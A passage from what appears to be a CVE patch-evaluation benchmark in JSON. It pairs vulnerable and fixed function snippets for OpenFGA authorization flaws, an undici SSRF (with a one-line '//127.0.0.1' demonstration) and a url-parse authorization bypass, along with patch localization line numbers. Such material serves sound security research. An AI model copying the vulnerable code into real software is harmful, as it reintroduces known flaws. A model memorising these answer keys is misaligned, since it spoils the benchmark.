        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-25173"
    },
    {
        "cve_id": "CVE-2022-23542",
        "cve_description": "OpenFGA's authorization check logic can incorrectly authorize access using relationship tuples that remain in storage but are no longer valid under the authorization model selected for the Check request. In particular, when an authorization model is changed or tightened, a tuple that was valid under an older model may violate the current model's type restrictions, yet Check may still treat that stale tuple as evidence of access. An attacker who can rely on previously stored relationship tuples, or trigger checks against objects whose tuples were written under an older model, may be granted permissions that the current model no longer allows.",
        "cwe_info": {
            "CWE-285": {
                "name": "Improper Authorization",
                "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."
            }
        },
        "repo": "https://github.com/openfga/openfga",
        "patch_url": [
            "https://github.com/openfga/openfga/commit/cdf2c76ea34b33a9e37d6be516706ef8bf865782"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_59_2",
                "commit": "58dbe66",
                "file_path": "server/commands/check_utils.go",
                "start_line": 338,
                "end_line": 349,
                "snippet": "func (rc *resolutionContext) readUserTuple(ctx context.Context, backend storage.TupleBackend) (*openfgapb.TupleKey, error) {\n\ttk, ok := rc.contextualTuples.ReadUserTuple(rc.tk)\n\tif ok {\n\t\treturn tk, nil\n\t}\n\n\ttuple, err := backend.ReadUserTuple(ctx, rc.store, rc.tk)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn tuple.GetKey(), nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            4
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            11
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_59_2",
                "commit": "cdf2c76",
                "file_path": "server/commands/check_utils.go",
                "start_line": 339,
                "end_line": 363,
                "snippet": "func (rc *resolutionContext) readUserTuple(ctx context.Context, backend storage.TupleBackend) (*openfgapb.TupleKey, error) {\n\n\ttypesys := typesystem.New(rc.model)\n\n\ttk, ok := rc.contextualTuples.ReadUserTuple(rc.tk)\n\n\tif tk != nil {\n\t\terr := validation.ValidateTuple(typesys, tk)\n\t\tif err == nil && ok {\n\t\t\treturn tk, nil\n\t\t}\n\t}\n\n\ttuple, err := backend.ReadUserTuple(ctx, rc.store, rc.tk)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttk = tuple.GetKey()\n\tif err := validation.ValidateTuple(typesys, tk); err != nil {\n\t\treturn nil, nil\n\t}\n\n\treturn tk, nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-23542"
    },
    {
        "cve_id": "CVE-2022-35949",
        "cve_description": "undici is an HTTP/1.1 client, written from scratch for Node.js.`undici` is vulnerable to SSRF (Server-side Request Forgery) when an application takes in **user input** into the `path/pathname` option of `undici.request`. If a user specifies a URL such as `http://127.0.0.1` or `//127.0.0.1` ```js const undici = require(\"undici\") undici.request({origin: \"http://example.com\", pathname: \"//127.0.0.1\"}) ``` Instead of processing the request as `http://example.org//127.0.0.1` (or `http://example.org/http://127.0.0.1` when `http://127.0.0.1 is used`), it actually processes the request as `http://127.0.0.1/` and sends it to `http://127.0.0.1`. If a developer passes in user input into `path` parameter of `undici.request`, it can result in an _SSRF_ as they will assume that the hostname cannot change, when in actual fact it can change because the specified path parameter is combined with the base URL. This issue was fixed in `undici@5.8.1`. The best workaround is to validate user input before passing it to the `undici.request` call.",
        "cwe_info": {
            "CWE-918": {
                "name": "Server-Side Request Forgery (SSRF)",
                "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."
            }
        },
        "repo": "https://github.com/nodejs/undici",
        "patch_url": [
            "https://github.com/nodejs/undici/commit/124f7ebf705366b2e1844dff721928d270f87895"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_5_1",
                "commit": "aef314c",
                "file_path": "index.js",
                "start_line": 36,
                "end_line": 78,
                "snippet": "function makeDispatcher (fn) {\n  return (url, opts, handler) => {\n    if (typeof opts === 'function') {\n      handler = opts\n      opts = null\n    }\n\n    if (!url || (typeof url !== 'string' && typeof url !== 'object' && !(url instanceof URL))) {\n      throw new InvalidArgumentError('invalid url')\n    }\n\n    if (opts != null && typeof opts !== 'object') {\n      throw new InvalidArgumentError('invalid opts')\n    }\n\n    if (opts && opts.path != null) {\n      if (typeof opts.path !== 'string') {\n        throw new InvalidArgumentError('invalid opts.path')\n      }\n\n      url = new URL(opts.path, util.parseOrigin(url))\n    } else {\n      if (!opts) {\n        opts = typeof url === 'object' ? url : {}\n      }\n\n      url = util.parseURL(url)\n    }\n\n    const { agent, dispatcher = getGlobalDispatcher() } = opts\n\n    if (agent) {\n      throw new InvalidArgumentError('unsupported opts.agent. Did you mean opts.client?')\n    }\n\n    return fn.call(dispatcher, {\n      ...opts,\n      origin: url.origin,\n      path: url.search ? `${url.pathname}${url.search}` : url.pathname,\n      method: opts.method || (opts.body ? 'PUT' : 'GET')\n    }, handler)\n  }\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            21
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_js_5_2",
                "commit": "aef314c",
                "file_path": "lib/core/util.js",
                "start_line": 74,
                "end_line": 122,
                "snippet": "function parseURL (url) {\n  if (typeof url === 'string') {\n    url = new URL(url)\n  }\n\n  if (!url || typeof url !== 'object') {\n    throw new InvalidArgumentError('invalid url')\n  }\n\n  if (url.port != null && url.port !== '' && !Number.isFinite(parseInt(url.port))) {\n    throw new InvalidArgumentError('invalid port')\n  }\n\n  if (url.path != null && typeof url.path !== 'string') {\n    throw new InvalidArgumentError('invalid path')\n  }\n\n  if (url.pathname != null && typeof url.pathname !== 'string') {\n    throw new InvalidArgumentError('invalid pathname')\n  }\n\n  if (url.hostname != null && typeof url.hostname !== 'string') {\n    throw new InvalidArgumentError('invalid hostname')\n  }\n\n  if (url.origin != null && typeof url.origin !== 'string') {\n    throw new InvalidArgumentError('invalid origin')\n  }\n\n  if (!/^https?:/.test(url.origin || url.protocol)) {\n    throw new InvalidArgumentError('invalid protocol')\n  }\n\n  if (!(url instanceof URL)) {\n    const port = url.port != null\n      ? url.port\n      : (url.protocol === 'https:' ? 443 : 80)\n    const origin = url.origin != null\n      ? url.origin\n      : `${url.protocol}//${url.hostname}:${port}`\n    const path = url.path != null\n      ? url.path\n      : `${url.pathname || ''}${url.search || ''}`\n\n    url = new URL(path, origin)\n  }\n\n  return url\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            38
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            41
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            45
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_5_1",
                "commit": "124f7ebf705366b2e1844dff721928d270f87895",
                "file_path": "index.js",
                "start_line": 36,
                "end_line": 83,
                "snippet": "function makeDispatcher (fn) {\n  return (url, opts, handler) => {\n    if (typeof opts === 'function') {\n      handler = opts\n      opts = null\n    }\n\n    if (!url || (typeof url !== 'string' && typeof url !== 'object' && !(url instanceof URL))) {\n      throw new InvalidArgumentError('invalid url')\n    }\n\n    if (opts != null && typeof opts !== 'object') {\n      throw new InvalidArgumentError('invalid opts')\n    }\n\n    if (opts && opts.path != null) {\n      if (typeof opts.path !== 'string') {\n        throw new InvalidArgumentError('invalid opts.path')\n      }\n\n      let path = opts.path\n      if (!opts.path.startsWith('/')) {\n        path = `/${path}`\n      }\n\n      url = new URL(util.parseOrigin(url).origin + path)\n    } else {\n      if (!opts) {\n        opts = typeof url === 'object' ? url : {}\n      }\n\n      url = util.parseURL(url)\n    }\n\n    const { agent, dispatcher = getGlobalDispatcher() } = opts\n\n    if (agent) {\n      throw new InvalidArgumentError('unsupported opts.agent. Did you mean opts.client?')\n    }\n\n    return fn.call(dispatcher, {\n      ...opts,\n      origin: url.origin,\n      path: url.search ? `${url.pathname}${url.search}` : url.pathname,\n      method: opts.method || (opts.body ? 'PUT' : 'GET')\n    }, handler)\n  }\n}"
            },
            {
                "id": "fix_js_5_2",
                "commit": "124f7ebf705366b2e1844dff721928d270f87895",
                "file_path": "lib/core/util.js",
                "start_line": 74,
                "end_line": 133,
                "snippet": "function parseURL (url) {\n  if (typeof url === 'string') {\n    url = new URL(url)\n  }\n\n  if (!url || typeof url !== 'object') {\n    throw new InvalidArgumentError('invalid url')\n  }\n\n  if (url.port != null && url.port !== '' && !Number.isFinite(parseInt(url.port))) {\n    throw new InvalidArgumentError('invalid port')\n  }\n\n  if (url.path != null && typeof url.path !== 'string') {\n    throw new InvalidArgumentError('invalid path')\n  }\n\n  if (url.pathname != null && typeof url.pathname !== 'string') {\n    throw new InvalidArgumentError('invalid pathname')\n  }\n\n  if (url.hostname != null && typeof url.hostname !== 'string') {\n    throw new InvalidArgumentError('invalid hostname')\n  }\n\n  if (url.origin != null && typeof url.origin !== 'string') {\n    throw new InvalidArgumentError('invalid origin')\n  }\n\n  if (!/^https?:/.test(url.origin || url.protocol)) {\n    throw new InvalidArgumentError('invalid protocol')\n  }\n\n  if (!(url instanceof URL)) {\n    const port = url.port != null\n      ? url.port\n      : (url.protocol === 'https:' ? 443 : 80)\n    let origin = url.origin != null\n      ? url.origin\n      : `${url.protocol}//${url.hostname}:${port}`\n    let path = url.path != null\n      ? url.path\n      : `${url.pathname || ''}${url.search || ''}`\n\n    if (origin.endsWith('/')) {\n      origin = origin.substring(0, origin.length - 1)\n    }\n\n    if (path && !path.startsWith('/')) {\n      path = `/${path}`\n    }\n    // new URL(path, origin) is unsafe when `path` contains an absolute URL\n    // From https://developer.mozilla.org/en-US/docs/Web/API/URL/URL:\n    // If first parameter is a relative URL, second param is required, and will be used as the base URL.\n    // If first parameter is an absolute URL, a given second param will be ignored.\n    url = new URL(origin + path)\n  }\n\n  return url\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-35949"
    },
    {
        "cve_id": "CVE-2022-0512",
        "cve_description": "Authorization Bypass Through User-Controlled Key in NPM url-parse prior to 1.5.6.",
        "cwe_info": {
            "CWE-862": {
                "name": "Missing Authorization",
                "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."
            },
            "CWE-639": {
                "name": "Authorization Bypass Through User-Controlled Key",
                "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."
            }
        },
        "repo": "https://github.com/unshiftio/url-parse",
        "patch_url": [
            "https://github.com/unshiftio/url-parse/commit/9be7ee88afd2bb04e4d5a1a8da9a389ac13f8c40"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_38_1",
                "commit": "82c4908",
                "file_path": "index.js",
                "start_line": 236,
                "end_line": 389,
                "snippet": "function Url(address, location, parser) {\n  address = trimLeft(address);\n\n  if (!(this instanceof Url)) {\n    return new Url(address, location, parser);\n  }\n\n  var relative, extracted, parse, instruction, index, key\n    , instructions = rules.slice()\n    , type = typeof location\n    , url = this\n    , i = 0;\n\n  //\n  // The following if statements allows this module two have compatibility with\n  // 2 different API:\n  //\n  // 1. Node.js's `url.parse` api which accepts a URL, boolean as arguments\n  //    where the boolean indicates that the query string should also be parsed.\n  //\n  // 2. The `URL` interface of the browser which accepts a URL, object as\n  //    arguments. The supplied object will be used as default values / fall-back\n  //    for relative paths.\n  //\n  if ('object' !== type && 'string' !== type) {\n    parser = location;\n    location = null;\n  }\n\n  if (parser && 'function' !== typeof parser) parser = qs.parse;\n\n  location = lolcation(location);\n\n  //\n  // Extract protocol information before running the instructions.\n  //\n  extracted = extractProtocol(address || '', location);\n  relative = !extracted.protocol && !extracted.slashes;\n  url.slashes = extracted.slashes || relative && location.slashes;\n  url.protocol = extracted.protocol || location.protocol || '';\n  address = extracted.rest;\n\n  //\n  // When the authority component is absent the URL starts with a path\n  // component.\n  //\n  if (\n    extracted.protocol === 'file:' && (\n      extracted.slashesCount !== 2 || windowsDriveLetter.test(address)) ||\n    (!extracted.slashes &&\n      (extracted.protocol ||\n        extracted.slashesCount < 2 ||\n        !isSpecial(url.protocol)))\n  ) {\n    instructions[3] = [/(.*)/, 'pathname'];\n  }\n\n  for (; i < instructions.length; i++) {\n    instruction = instructions[i];\n\n    if (typeof instruction === 'function') {\n      address = instruction(address, url);\n      continue;\n    }\n\n    parse = instruction[0];\n    key = instruction[1];\n\n    if (parse !== parse) {\n      url[key] = address;\n    } else if ('string' === typeof parse) {\n      if (~(index = address.indexOf(parse))) {\n        if ('number' === typeof instruction[2]) {\n          url[key] = address.slice(0, index);\n          address = address.slice(index + instruction[2]);\n        } else {\n          url[key] = address.slice(index);\n          address = address.slice(0, index);\n        }\n      }\n    } else if ((index = parse.exec(address))) {\n      url[key] = index[1];\n      address = address.slice(0, index.index);\n    }\n\n    url[key] = url[key] || (\n      relative && instruction[3] ? location[key] || '' : ''\n    );\n\n    //\n    // Hostname, host and protocol should be lowercased so they can be used to\n    // create a proper `origin`.\n    //\n    if (instruction[4]) url[key] = url[key].toLowerCase();\n  }\n\n  //\n  // Also parse the supplied query string in to an object. If we're supplied\n  // with a custom parser as function use that instead of the default build-in\n  // parser.\n  //\n  if (parser) url.query = parser(url.query);\n\n  //\n  // If the URL is relative, resolve the pathname against the base URL.\n  //\n  if (\n      relative\n    && location.slashes\n    && url.pathname.charAt(0) !== '/'\n    && (url.pathname !== '' || location.pathname !== '')\n  ) {\n    url.pathname = resolve(url.pathname, location.pathname);\n  }\n\n  //\n  // Default to a / for pathname if none exists. This normalizes the URL\n  // to always have a /\n  //\n  if (url.pathname.charAt(0) !== '/' && isSpecial(url.protocol)) {\n    url.pathname = '/' + url.pathname;\n  }\n\n  //\n  // We should not add port numbers if they are already the default port number\n  // for a given protocol. As the host also contains the port number we're going\n  // override it with the hostname which contains no port number.\n  //\n  if (!required(url.port, url.protocol)) {\n    url.host = url.hostname;\n    url.port = '';\n  }\n\n  //\n  // Parse down the `auth` for the username and password.\n  //\n  url.username = url.password = '';\n  if (url.auth) {\n    instruction = url.auth.split(':');\n    url.username = instruction[0];\n    url.password = instruction[1] || '';\n  }\n\n  url.origin = url.protocol !== 'file:' && isSpecial(url.protocol) && url.host\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  //\n  // The href is just the compiled result.\n  //\n  url.href = url.toString();\n}\n\n/**",
                "vul_localization": [
                    {
                        "patch_lines": [
                            71
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            139,
                            140,
                            141
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_js_38_2",
                "commit": "82c4908",
                "file_path": "index.js",
                "start_line": 402,
                "end_line": 488,
                "snippet": "function set(part, value, fn) {\n  var url = this;\n\n  switch (part) {\n    case 'query':\n      if ('string' === typeof value && value.length) {\n        value = (fn || qs.parse)(value);\n      }\n\n      url[part] = value;\n      break;\n\n    case 'port':\n      url[part] = value;\n\n      if (!required(value, url.protocol)) {\n        url.host = url.hostname;\n        url[part] = '';\n      } else if (value) {\n        url.host = url.hostname +':'+ value;\n      }\n\n      break;\n\n    case 'hostname':\n      url[part] = value;\n\n      if (url.port) value += ':'+ url.port;\n      url.host = value;\n      break;\n\n    case 'host':\n      url[part] = value;\n\n      if (/:\\d+$/.test(value)) {\n        value = value.split(':');\n        url.port = value.pop();\n        url.hostname = value.join(':');\n      } else {\n        url.hostname = value;\n        url.port = '';\n      }\n\n      break;\n\n    case 'protocol':\n      url.protocol = value.toLowerCase();\n      url.slashes = !fn;\n      break;\n\n    case 'pathname':\n    case 'hash':\n      if (value) {\n        var char = part === 'pathname' ? '/' : '#';\n        url[part] = value.charAt(0) !== char ? char + value : value;\n      } else {\n        url[part] = value;\n      }\n      break;\n\n    case 'username':\n    case 'password':\n      url[part] = encodeURIComponent(value);\n      break;\n\n    case 'auth':\n      var splits = value.split(':');\n      url.username = splits[0];\n      url.password = splits.length === 2 ? splits[1] : '';\n  }\n\n  for (var i = 0; i < rules.length; i++) {\n    var ins = rules[i];\n\n    if (ins[4]) url[ins[1]] = url[ins[1]].toLowerCase();\n  }\n\n  url.auth = url.password ? url.username +':'+ url.password : url.username;\n\n  url.origin = url.protocol !== 'file:' && isSpecial(url.protocol) && url.host\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  url.href = url.toString();\n\n  return url;\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            67,
                            68,
                            69
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_38_1",
                "commit": "9be7ee88afd2bb04e4d5a1a8da9a389ac13f8c40",
                "file_path": "index.js",
                "start_line": 236,
                "end_line": 404,
                "snippet": "function Url(address, location, parser) {\n  address = trimLeft(address);\n\n  if (!(this instanceof Url)) {\n    return new Url(address, location, parser);\n  }\n\n  var relative, extracted, parse, instruction, index, key\n    , instructions = rules.slice()\n    , type = typeof location\n    , url = this\n    , i = 0;\n\n  //\n  // The following if statements allows this module two have compatibility with\n  // 2 different API:\n  //\n  // 1. Node.js's `url.parse` api which accepts a URL, boolean as arguments\n  //    where the boolean indicates that the query string should also be parsed.\n  //\n  // 2. The `URL` interface of the browser which accepts a URL, object as\n  //    arguments. The supplied object will be used as default values / fall-back\n  //    for relative paths.\n  //\n  if ('object' !== type && 'string' !== type) {\n    parser = location;\n    location = null;\n  }\n\n  if (parser && 'function' !== typeof parser) parser = qs.parse;\n\n  location = lolcation(location);\n\n  //\n  // Extract protocol information before running the instructions.\n  //\n  extracted = extractProtocol(address || '', location);\n  relative = !extracted.protocol && !extracted.slashes;\n  url.slashes = extracted.slashes || relative && location.slashes;\n  url.protocol = extracted.protocol || location.protocol || '';\n  address = extracted.rest;\n\n  //\n  // When the authority component is absent the URL starts with a path\n  // component.\n  //\n  if (\n    extracted.protocol === 'file:' && (\n      extracted.slashesCount !== 2 || windowsDriveLetter.test(address)) ||\n    (!extracted.slashes &&\n      (extracted.protocol ||\n        extracted.slashesCount < 2 ||\n        !isSpecial(url.protocol)))\n  ) {\n    instructions[3] = [/(.*)/, 'pathname'];\n  }\n\n  for (; i < instructions.length; i++) {\n    instruction = instructions[i];\n\n    if (typeof instruction === 'function') {\n      address = instruction(address, url);\n      continue;\n    }\n\n    parse = instruction[0];\n    key = instruction[1];\n\n    if (parse !== parse) {\n      url[key] = address;\n    } else if ('string' === typeof parse) {\n      index = parse === '@'\n        ? address.lastIndexOf(parse)\n        : address.indexOf(parse);\n\n      if (~index) {\n        if ('number' === typeof instruction[2]) {\n          url[key] = address.slice(0, index);\n          address = address.slice(index + instruction[2]);\n        } else {\n          url[key] = address.slice(index);\n          address = address.slice(0, index);\n        }\n      }\n    } else if ((index = parse.exec(address))) {\n      url[key] = index[1];\n      address = address.slice(0, index.index);\n    }\n\n    url[key] = url[key] || (\n      relative && instruction[3] ? location[key] || '' : ''\n    );\n\n    //\n    // Hostname, host and protocol should be lowercased so they can be used to\n    // create a proper `origin`.\n    //\n    if (instruction[4]) url[key] = url[key].toLowerCase();\n  }\n\n  //\n  // Also parse the supplied query string in to an object. If we're supplied\n  // with a custom parser as function use that instead of the default build-in\n  // parser.\n  //\n  if (parser) url.query = parser(url.query);\n\n  //\n  // If the URL is relative, resolve the pathname against the base URL.\n  //\n  if (\n      relative\n    && location.slashes\n    && url.pathname.charAt(0) !== '/'\n    && (url.pathname !== '' || location.pathname !== '')\n  ) {\n    url.pathname = resolve(url.pathname, location.pathname);\n  }\n\n  //\n  // Default to a / for pathname if none exists. This normalizes the URL\n  // to always have a /\n  //\n  if (url.pathname.charAt(0) !== '/' && isSpecial(url.protocol)) {\n    url.pathname = '/' + url.pathname;\n  }\n\n  //\n  // We should not add port numbers if they are already the default port number\n  // for a given protocol. As the host also contains the port number we're going\n  // override it with the hostname which contains no port number.\n  //\n  if (!required(url.port, url.protocol)) {\n    url.host = url.hostname;\n    url.port = '';\n  }\n\n  //\n  // Parse down the `auth` for the username and password.\n  //\n  url.username = url.password = '';\n\n  if (url.auth) {\n    index = url.auth.indexOf(':');\n\n    if (~index) {\n      url.username = url.auth.slice(0, index);\n      url.username = encodeURIComponent(decodeURIComponent(url.username));\n\n      url.password = url.auth.slice(index + 1);\n      url.password = encodeURIComponent(decodeURIComponent(url.password))\n    } else {\n      url.username = encodeURIComponent(decodeURIComponent(url.auth));\n    }\n\n    url.auth = url.password ? url.username +':'+ url.password : url.username;\n  }\n\n  url.origin = url.protocol !== 'file:' && isSpecial(url.protocol) && url.host\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  //\n  // The href is just the compiled result.\n  //\n  url.href = url.toString();\n}\n\n/**"
            },
            {
                "id": "fix_js_38_2",
                "commit": "9be7ee88afd2bb04e4d5a1a8da9a389ac13f8c40",
                "file_path": "index.js",
                "start_line": 417,
                "end_line": 511,
                "snippet": "function set(part, value, fn) {\n  var url = this;\n\n  switch (part) {\n    case 'query':\n      if ('string' === typeof value && value.length) {\n        value = (fn || qs.parse)(value);\n      }\n\n      url[part] = value;\n      break;\n\n    case 'port':\n      url[part] = value;\n\n      if (!required(value, url.protocol)) {\n        url.host = url.hostname;\n        url[part] = '';\n      } else if (value) {\n        url.host = url.hostname +':'+ value;\n      }\n\n      break;\n\n    case 'hostname':\n      url[part] = value;\n\n      if (url.port) value += ':'+ url.port;\n      url.host = value;\n      break;\n\n    case 'host':\n      url[part] = value;\n\n      if (/:\\d+$/.test(value)) {\n        value = value.split(':');\n        url.port = value.pop();\n        url.hostname = value.join(':');\n      } else {\n        url.hostname = value;\n        url.port = '';\n      }\n\n      break;\n\n    case 'protocol':\n      url.protocol = value.toLowerCase();\n      url.slashes = !fn;\n      break;\n\n    case 'pathname':\n    case 'hash':\n      if (value) {\n        var char = part === 'pathname' ? '/' : '#';\n        url[part] = value.charAt(0) !== char ? char + value : value;\n      } else {\n        url[part] = value;\n      }\n      break;\n\n    case 'username':\n    case 'password':\n      url[part] = encodeURIComponent(value);\n      break;\n\n    case 'auth':\n      var index = value.indexOf(':');\n\n      if (~index) {\n        url.username = value.slice(0, index);\n        url.username = encodeURIComponent(decodeURIComponent(url.username));\n\n        url.password = value.slice(index + 1);\n        url.password = encodeURIComponent(decodeURIComponent(url.password));\n      } else {\n        url.username = encodeURIComponent(decodeURIComponent(value));\n      }\n  }\n\n  for (var i = 0; i < rules.length; i++) {\n    var ins = rules[i];\n\n    if (ins[4]) url[ins[1]] = url[ins[1]].toLowerCase();\n  }\n\n  url.auth = url.password ? url.username +':'+ url.password : url.username;\n\n  url.origin = url.protocol !== 'file:' && isSpecial(url.protocol) && url.host\n    ? url.protocol +'//'+ url.host\n    : 'null';\n\n  url.href = url.toString();\n\n  return url;\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-0512"
    },
    {
        "cve_id": "CVE-2022-39340",
        "cve_description": "OpenFGA is an authorization/permission engine. Prior to version 0.2.4, the `streamed-list-objects` endpoint was not validating the authorization header, resulting in disclosure of objects in the store. Users `openfga/openfga` versions 0.2.3 and prior who are exposing the OpenFGA service to the internet are vulnerable. Version 0.2.4 contains a patch for this issue.",
        "cwe_info": {
            "CWE-862": {
                "name": "Missing Authorization",
                "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."
            },
            "CWE-639": {
                "name": "Authorization Bypass Through User-Controlled Key",
                "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."
            }
        },
        "repo": "https://github.com/openfga/openfga",
        "patch_url": [
            "https://github.com/openfga/openfga/commit/779d73d4b6d067ee042ec9b59fec707eed71e42f"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_18_1",
                "commit": "c8db1ee",
                "file_path": "pkg/cmd/service/service.go",
                "start_line": 280,
                "end_line": 432,
                "snippet": "func BuildService(config *Config, logger logger.Logger) (*service, error) {\n\ttracer := telemetry.NewNoopTracer()\n\tmeter := telemetry.NewNoopMeter()\n\ttokenEncoder := encoder.NewTokenEncoder(encrypter.NewNoopEncrypter(), encoder.NewBase64Encoder())\n\n\tvar datastore storage.OpenFGADatastore\n\tvar err error\n\tswitch config.Datastore.Engine {\n\tcase \"memory\":\n\t\tdatastore = memory.New(tracer, config.MaxTuplesPerWrite, config.MaxTypesPerAuthorizationModel)\n\tcase \"mysql\":\n\t\topts := []mysql.MySQLOption{\n\t\t\tmysql.WithLogger(logger),\n\t\t\tmysql.WithTracer(tracer),\n\t\t}\n\n\t\tdatastore, err = mysql.NewMySQLDatastore(config.Datastore.URI, opts...)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Errorf(\"failed to initialize mysql datastore: %v\", err)\n\t\t}\n\tcase \"postgres\":\n\t\topts := []postgres.PostgresOption{\n\t\t\tpostgres.WithLogger(logger),\n\t\t\tpostgres.WithTracer(tracer),\n\t\t}\n\n\t\tdatastore, err = postgres.NewPostgresDatastore(config.Datastore.URI, opts...)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Errorf(\"failed to initialize postgres datastore: %v\", err)\n\t\t}\n\tdefault:\n\t\treturn nil, errors.Errorf(\"storage engine '%s' is unsupported\", config.Datastore.Engine)\n\t}\n\n\tlogger.Info(fmt.Sprintf(\"using '%v' storage engine\", config.Datastore.Engine))\n\n\tvar grpcTLSConfig *server.TLSConfig\n\tif config.GRPC.TLS.Enabled {\n\t\tif config.GRPC.TLS.CertPath == \"\" || config.GRPC.TLS.KeyPath == \"\" {\n\t\t\treturn nil, ErrInvalidGRPCTLSConfig\n\t\t}\n\t\tgrpcTLSConfig = &server.TLSConfig{\n\t\t\tCertPath: config.GRPC.TLS.CertPath,\n\t\t\tKeyPath:  config.GRPC.TLS.KeyPath,\n\t\t}\n\t\tlogger.Info(\"grpc TLS is enabled, serving connections using the provided certificate\")\n\t} else {\n\t\tlogger.Warn(\"grpc TLS is disabled, serving connections using insecure plaintext\")\n\t}\n\n\tvar httpTLSConfig *server.TLSConfig\n\tif config.HTTP.TLS.Enabled {\n\t\tif config.HTTP.TLS.CertPath == \"\" || config.HTTP.TLS.KeyPath == \"\" {\n\t\t\treturn nil, ErrInvalidHTTPTLSConfig\n\t\t}\n\t\thttpTLSConfig = &server.TLSConfig{\n\t\t\tCertPath: config.HTTP.TLS.CertPath,\n\t\t\tKeyPath:  config.HTTP.TLS.KeyPath,\n\t\t}\n\t\tlogger.Info(\"HTTP TLS is enabled, serving HTTP connections using the provided certificate\")\n\t} else {\n\t\tlogger.Warn(\"HTTP TLS is disabled, serving connections using insecure plaintext\")\n\t}\n\n\tvar authenticator authn.Authenticator\n\tswitch config.Authn.Method {\n\tcase \"none\":\n\t\tlogger.Warn(\"authentication is disabled\")\n\t\tauthenticator = authn.NoopAuthenticator{}\n\tcase \"preshared\":\n\t\tlogger.Info(\"using 'preshared' authentication\")\n\t\tauthenticator, err = presharedkey.NewPresharedKeyAuthenticator(config.Authn.Keys)\n\tcase \"oidc\":\n\t\tlogger.Info(\"using 'oidc' authentication\")\n\t\tauthenticator, err = oidc.NewRemoteOidcAuthenticator(config.Authn.Issuer, config.Authn.Audience)\n\tdefault:\n\t\treturn nil, errors.Errorf(\"unsupported authentication method '%v'\", config.Authn.Method)\n\t}\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to initialize authenticator: %v\", err)\n\t}\n\n\tinterceptors := []grpc.UnaryServerInterceptor{\n\t\tgrpc_auth.UnaryServerInterceptor(middleware.AuthFunc(authenticator)),\n\t\tmiddleware.NewErrorLoggingInterceptor(logger),\n\t}\n\n\tgrpcHostAddr, grpcHostPort, err := net.SplitHostPort(config.GRPC.Addr)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"`grpc.addr` config must be in the form [host]:port\")\n\t}\n\n\tif grpcHostAddr == \"\" {\n\t\tgrpcHostAddr = \"0.0.0.0\"\n\t}\n\n\tgrpcAddr, err := netip.ParseAddrPort(fmt.Sprintf(\"%s:%s\", grpcHostAddr, grpcHostPort))\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to parse the 'grpc.addr' config: %v\", err)\n\t}\n\n\thttpHostAddr, httpHostPort, err := net.SplitHostPort(config.HTTP.Addr)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"`http.addr` config must be in the form [host]:port\")\n\t}\n\n\tif httpHostAddr == \"\" {\n\t\thttpHostAddr = \"0.0.0.0\"\n\t}\n\n\thttpAddr, err := netip.ParseAddrPort(fmt.Sprintf(\"%s:%s\", httpHostAddr, httpHostPort))\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to parse the 'http.addr' config: %v\", err)\n\t}\n\n\topenFgaServer, err := server.New(&server.Dependencies{\n\t\tDatastore:    caching.NewCachedOpenFGADatastore(datastore, config.Datastore.MaxCacheSize),\n\t\tTracer:       tracer,\n\t\tLogger:       logger,\n\t\tMeter:        meter,\n\t\tTokenEncoder: tokenEncoder,\n\t}, &server.Config{\n\t\tGRPCServer: server.GRPCServerConfig{\n\t\t\tAddr:      grpcAddr,\n\t\t\tTLSConfig: grpcTLSConfig,\n\t\t},\n\t\tHTTPServer: server.HTTPServerConfig{\n\t\t\tEnabled:            config.HTTP.Enabled,\n\t\t\tAddr:               httpAddr,\n\t\t\tTLSConfig:          httpTLSConfig,\n\t\t\tUpstreamTimeout:    config.HTTP.UpstreamTimeout,\n\t\t\tCORSAllowedOrigins: config.HTTP.CORSAllowedOrigins,\n\t\t\tCORSAllowedHeaders: config.HTTP.CORSAllowedHeaders,\n\t\t},\n\t\tResolveNodeLimit:       config.ResolveNodeLimit,\n\t\tChangelogHorizonOffset: 